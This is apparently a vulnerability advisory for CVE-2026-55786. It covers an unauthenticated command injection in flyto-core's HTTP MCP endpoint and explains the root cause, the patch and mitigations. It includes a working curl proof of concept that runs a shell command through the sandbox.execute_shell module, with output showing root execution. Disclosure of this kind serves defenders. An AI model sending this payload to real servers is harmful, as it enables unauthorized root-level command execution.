CVE-2026-55786: flyto-core Unauthenticated OS Command Injection via HTTP MCP
flyto-core's HTTP MCP endpoint accepts JSON-RPC requests with no authentication check, letting any local process run arbitrary shell commands by calling the built-in sandbox.execute_shell module.
The problem
The FastAPI route POST /mcp in flyto-core (versions 2.26.2 through 2.26.3) is mounted unconditionally at startup and declared with no Depends(require_auth) guard. Any caller that can reach the port can send a JSON-RPC tools/call request targeting any registered module.
The built-in sandbox.execute_shell module reads a command field directly from attacker-supplied JSON and passes it to asyncio.create_subprocess_shell with shell=True and no sanitization. Dynamic reproduction confirmed execution as root. By default the server binds to 127.0.0.1 (local attack vector, CVSS 8.4), but operators who start with --host 0.0.0.0 expose it to the full network.
Proof of concept
A working proof-of-concept for CVE-2026-55786 in flyto-core, with the exact payload below.
curl -sS http://127.0.0.1:8333/mcp \
-H 'Content-Type: application/json' \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "execute_module",
"arguments": {
"module_id": "sandbox.execute_shell",
"params": {"command": "id", "timeout": 5}
}
}
}'
# Observed response (no Authorization header required):
# {"jsonrpc":"2.0","id":1,"result":{"structuredContent":{"ok":true,"data":{"stdout":"uid=0(root) gid=0(root) groups=0(root)\n","exit_code":0}},"isError":false}}The root cause is two missing guards on the same route. First, mcp.py declares @router.post("") without dependencies=[Depends(require_auth)], unlike the analogous REST route at modules.py:93 which does enforce auth. Second, even if a module filter were applied, sandbox.execute_shell is not covered by _DEFAULT_DENYLIST = ["shell.*", "process.*"] because its module ID begins with sandbox., not shell. or process..
The patch adds Depends(require_auth) to both the POST /mcp and DELETE /mcp handlers, passes a module_filter to handle_jsonrpc_request, and widens the denylist entry to "sandbox.*" to close the naming gap. CWE-306 (Missing Authentication for Critical Function) and CWE-78 (OS Command Injection) both apply.
The fix
Upgrade to flyto-core 2.26.4. The fix adds Depends(require_auth) to the POST /mcp and DELETE /mcp route handlers, passes module_filter into handle_jsonrpc_request for those routes, and extends _DEFAULT_DENYLIST to include "sandbox.*". If an immediate upgrade is not possible, block external access to port 8333 at the network level and avoid starting the server with --host 0.0.0.0.
Related research
- high · 7.1CVE-2026-55787CVE-2026-55787: flyto-core SSRF Guard Bypass via IPv6 Transition Addresses
- high · 7.5GitPython: OS Command Injection via --template in clone_from
- high · 8.8GitPython: OS Command Injection via Single-Character Kwarg Value Token Smuggling
- highGitPython unsafe clone option gate bypass via joined short options